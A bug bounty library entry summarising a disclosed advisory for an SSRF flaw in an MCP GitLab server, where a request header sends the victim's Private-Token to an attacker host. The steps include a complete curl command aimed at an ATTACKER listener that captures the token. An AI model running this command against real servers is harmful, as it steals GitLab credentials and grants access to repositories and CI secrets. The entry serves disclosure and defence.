# @zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery

MCP GitLab server trusts X-GitLab-API-URL header when dynamic URL enabled, forwarding victim's Private-Token to attacker host in one request.

- Payout: Research
- Severity: critical
- Program: GitLab
- Found by: avishaigonen-pluto, yotampe-pluto
- Disclosed: 2026-09-15
- CVE: CVE-2026-61559
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-2h44-8472-frjj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2h44-8472-frjj
- Tags: area:ai domain:ai domain:api impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:secrets-leak vuln:ssrf

**Target:** MCP server HTTP transport (SSE and Streamable HTTP handlers)
**Root cause:** When ENABLE_DYNAMIC_API_URL=true, the server takes the X-GitLab-API-URL request header as the outbound API base URL with only a URL-syntax check and no hostname allowlist, then attaches the victim's Private-Token to fetches to that host.
**Steps:**
1. Run zereight/gitlab-mcp at commit 74a8c83 with `ENABLE_DYNAMIC_API_URL=true` and `REMOTE_AUTHORIZATION=true`.
2. Start an attacker HTTP listener on port 9099 that logs incoming headers.
3. Send `curl -X POST http://TARGET:3002/mcp -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" -H "Authorization: Bearer ANY_VALID_TOKEN" -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'`.
4. Listener receives `GET /api/v4/projects/1/issues` with header `private-token: <VICTIM_GITLAB_TOKEN>`.
**How found:** Code review of the SSE and Streamable HTTP handlers found the header-derived apiUrl flows through getEffectiveApiUrl() into getFetchConfig(), which unconditionally attaches Private-Token; noted the only validation is `new URL()` syntax check with no allowlist.
**Exploitation:** Any caller reaching the HTTP transport sets X-GitLab-API-URL to an attacker host; the next GitLab API call the server makes carries the victim's Private-Token to that host, yielding full GitLab API access at the victim's permission level (repo read, pipeline secrets, code push).
**Escalation:** Stolen PAT/CI job token grants full GitLab API access: read all repos, MRs, CI/CD variables/secrets; push code and modify pipelines.
**Insight:** In MCP/proxy servers that forward user-supplied base URLs, trace where the credential-attaching fetch config is built: a syntax-only URL check is not a trust boundary, and any header that redirects outbound calls becomes a token-exfil primitive.

